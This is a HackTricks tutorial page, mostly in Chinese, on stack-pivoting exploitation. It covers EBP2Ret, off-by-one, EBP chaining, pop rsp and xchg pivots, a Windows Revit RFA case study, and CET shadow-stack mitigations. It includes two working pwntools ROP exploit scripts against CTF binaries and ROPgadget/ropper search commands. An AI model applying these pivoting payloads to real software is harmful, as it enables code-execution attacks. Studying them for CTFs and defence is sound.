Stack Pivoting
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
该技术利用操纵 Base Pointer (EBP/RBP) 的能力,通过对帧指针的精确控制和 leave; ret 指令序列,将多个函数的执行串联起来。
需要提醒的是,在 x86/x86-64 上,leave 等价于:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
并且由于保存的 EBP/RBP 位于保存的 EIP/RIP 之前的栈上,因此可以通过控制栈来控制它。
Notes
- 在 64 位上,将 EBP→RBP 和 ESP→RSP 替换即可。语义相同。
- 有些编译器会省略帧指针(参见 “EBP might not be used”)。在那种情况下,
leave可能不会出现,该技术将无法使用。
EBP2Ret
当你可以 修改保存的 EBP/RBP 但无法直接修改 EIP/RIP 时,该技术特别有用。它利用了函数尾序(epilogue)的行为。
如果在 fvuln 执行期间,你设法在栈上注入了指向包含你的 shellcode/ROP 链地址的内存区域的伪造 EBP(并且在 amd64 上另外加 8 字节 / x86 上加 4 字节以抵消 pop),你就可以间接控制 RIP。当函数返回时,leave 会将 RSP 设置为构造的位置,随后 pop rbp 会减少 RSP,实际上使其指向攻击者在该处存放的一个地址。然后 ret 将使用该地址。
注意你需要知道两个地址:RSP/ESP 将要指向的地址,以及该地址处存放的、ret 将使用的值。
Exploit Construction
首先你需要知道一个可以写入任意数据/地址的地址。RSP 将指向这里并消费第一个 ret。
然后,你需要选择 ret 将使用以转移执行的地址。你可以使用:
- 一个有效的 ONE_GADGET 地址。
system()的地址,后面跟上适当的返回地址和参数(在 x86 上:ret目标 =&system,然后 4 个垃圾字节,然后&"/bin/sh")。- 一个
jmp esp;gadget 的地址(ret2esp),后面跟内联 shellcode。 - 在可写内存中放置的 ROP 链。
记住,在受控区域中任何这些地址之前,必须为 leave 的 pop ebp/rbp 留出空间(amd64 上为 8B,x86 上为 4B)。你可以滥用这些字节来设置第二个伪造 EBP,并在第一次调用返回后保持控制。
Off-By-One Exploit
有一种变种用于当你只能修改保存的 EBP/RBP 的最低有效字节时。在这种情况下,存放将被 ret 跳转到的地址的内存位置必须与原始 EBP/RBP 共享前三/前五个字节,这样 1 字节的覆盖才能重定向它。通常会增加低字节(偏移 0x00),以在附近的页/对齐区域内尽可能远地跳转。
也常在栈上使用 RET sled,并将真实的 ROP 链放在末尾,以增加新的 RSP 指向 sled 内部并执行最终 ROP 链的概率。
EBP Chaining
通过在栈的保存的 EBP 槽中放置一个受控地址,并在 EIP/RIP 中放置 leave; ret gadget,就可以将 ESP/RSP 移动到攻击者控制的地址。
现在 RSP 已被控制,下一条指令是 ret。在受控内存中放置类似如下的内容:
&(next fake EBP)-> 由leave的pop ebp/rbp加载。&system()-> 由ret调用。&(leave;ret)-> 在system结束后,将 RSP 移动到下一个伪造 EBP 并继续执行。&("/bin/sh")->system的参数。
这样就可以串联多个伪造 EBP 来控制程序的控制流。
这有点像 ret2lib,但更复杂,只在边缘情况下有用。
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 对齐提示:System V ABI 要求在调用点进行 16 字节的栈对齐。如果你的 chain 调用像
system这样的函数,请在调用前添加一个对齐 gadget(例如ret,或sub rsp, 8 ; ret)以保持对齐并避免movaps崩溃。
EBP 可能不会被使用
如 explained in this post,如果一个二进制在编译时使用了一些优化或启用了 frame-pointer omission,EBP/RBP 不会控制 ESP/RSP。因此,任何通过控制 EBP/RBP 来工作的 exploit 都会失败,因为 prologue/epilogue 不会从 frame pointer 恢复。
- 未优化 / 使用 frame pointer:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 已优化 / 省略帧指针:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
在 amd64 上你经常会看到 pop rbp ; ret 而不是 leave ; ret,但如果完全省略了帧指针,那么就没有基于 rbp 的 epilogue 可用来 pivot。
控制 RSP 的其他方法
pop rsp gadget
In this page 你可以找到一个使用该技术的示例。对于那个挑战,需要调用一个带有 2 个特定参数的函数,并且存在一个 pop rsp gadget,并且有一个 leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
在此查看 ret2esp 技术:
快速查找 pivot gadgets
使用你喜欢的 gadget finder 搜索经典的 pivot primitives:
leave ; ret在函数或库中pop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(或在 x86 上使用add esp, <imm> ; ret)
示例:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
经典 pivot 分段模式
在许多 CTFs/exploits 中使用的一种稳健的 pivot 策略:
- 使用一个小的初始溢出调用
read/recv将数据写入一个大的可写区域(例如.bss、heap 或映射的 RW 内存),并将完整的 ROP chain 放置在那里。 - 返回到一个 pivot gadget(
leave ; ret、pop rsp、xchg rax, rsp ; ret)以将 RSP 移动到该区域。 - 继续执行 staged chain(例如,leak libc,调用
mprotect,然后readshellcode,最后跳转到它)。
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parsers 有时会实现 destructor loops,这些循环间接调用来源于 attacker-controlled object fields 的 function pointer。如果每次迭代恰好提供一次间接调用(“one-gadget” 机器),你可以将其转换为可靠的 stack pivot 和 ROP entry。
在 Autodesk Revit RFA deserialization(CVE-2025-5037)中观察到:
- 构造的类型为
AString的对象在偏移 0 处放置一个指向 attacker bytes 的指针。 - 析构函数循环实际上对每个对象执行一个 gadget:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
两个实用的 pivot:
- Windows 10 (32-bit heap addrs):一个未对齐的 “monster gadget”,包含
8B E0→mov esp, eax,并最终ret,用于从 call primitive pivot 到基于 heap 的 ROP 链。 - Windows 11 (full 64-bit addrs):使用两个对象来驱动一个受限的 weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(将原始 rax 移入 rbp) - Gadget 2:
leave ; ... ; ret(变为mov rsp, rbp ; pop rbp ; ret),pivot 到第一个对象的 buffer,在那里跟随常规的 ROP 链。
- Gadget 1:
Windows x64 pivot 之后的提示:
- 注意 0x20 字节的 shadow space,并在
call调用点之前保持 16 字节对齐。通常方便把字面值放在返回地址之上,并使用类似lea rcx, [rsp+0x20] ; call rax的 gadget,随后pop rax ; ret,以传递栈地址而不破坏控制流。 - 非 ASLR 的 helper modules(如果存在)提供稳定的 gadget 池和导入,如
LoadLibraryW/GetProcAddress,用于动态解析类似ucrtbase!system的目标。 - 通过可写 thunk 创建缺失的 gadget:如果一个有前景的指令序列以通过可写函数指针的
call结尾(例如 DLL import thunk 或 .data 中的函数指针),就用像pop rax ; ret这样的良性单步覆盖该指针。序列因此像以ret结尾一样运行(例如mov rdx, rsi ; mov rcx, rdi ; ret),这在加载 Windows x64 参数寄存器而不破坏其他寄存器时非常有价值。
关于完整链构建和 gadget 示例,请参见下面的参考。
现代会破坏 stack pivoting 的缓解措施 (CET/Shadow Stack)
现代 x86 CPU 和操作系统越来越多地部署 CET Shadow Stack (SHSTK)。启用 SHSTK 时,ret 会将常规栈上的返回地址与受硬件保护的 shadow stack 进行比较;任何不匹配都会引发 Control-Protection fault 并终止进程。因此,像 EBP2Ret/leave;ret 这类基于 pivot 的技术将在从 pivoted 栈执行第一个 ret 时立即崩溃。
- 有关背景和更深层的细节,请参见:
- 在 Linux 上的快速检查:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
实验/CTF 备注:
-
一些现代发行版在硬件和 glibc 支持的情况下会为 CET-enabled 二进制启用 SHSTK。为了在 VM 中进行受控测试,可以通过内核启动参数
nousershstk在系统范围内禁用 SHSTK,或在启动时通过 glibc tunables 有选择地启用(参见 references)。不要在生产目标上禁用缓解措施。 -
JOP/COOP 或基于 SROP 的技术在某些目标上可能仍然可行,但 SHSTK 会专门破坏基于
ret的 pivot。 -
Windows 说明:Windows 10+ 在用户态暴露 shadow stacks,Windows 11 在内核态增加了基于 shadow stacks 的 “Hardware-enforced Stack Protection”。CET-compatible 进程会在
ret处阻止 stack pivoting/ROP;开发者可通过 CETCOMPAT 和相关策略选择启用(参见 reference)。
ARM64
In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
在 ARM64 上执行类似 stack pivoting 的方法是能够控制
SP(通过控制某个其值被传给SP的寄存器,或因为某种原因SP从栈中取地址并发生 overflow),然后滥用 epilogue从受控的SP加载x30寄存器并对其执行RET。
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 位,off-by-one 利用,使用以 ret sled 开头的 rop chain
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit,no relro、canary、nx 和 pie。该程序会为 stack 或 pie 提供一个 leak,并提供一个 qword 的 WWW。首先获取 stack leak 并使用 WWW 返回去获取 pie leak。然后使用 WWW 通过滥用
.fini_array条目并调用__libc_csu_fini来创建一个“永恒”循环(详细信息)。滥用这个“永恒”写入后,会在 .bss 中写入一个 ROP chain 并最终用 RBP pivot 去调用它。 - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — 详述 SHSTK、
nousershstk、/proc/$PID/status标志,以及通过arch_prctl启用的方法。https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


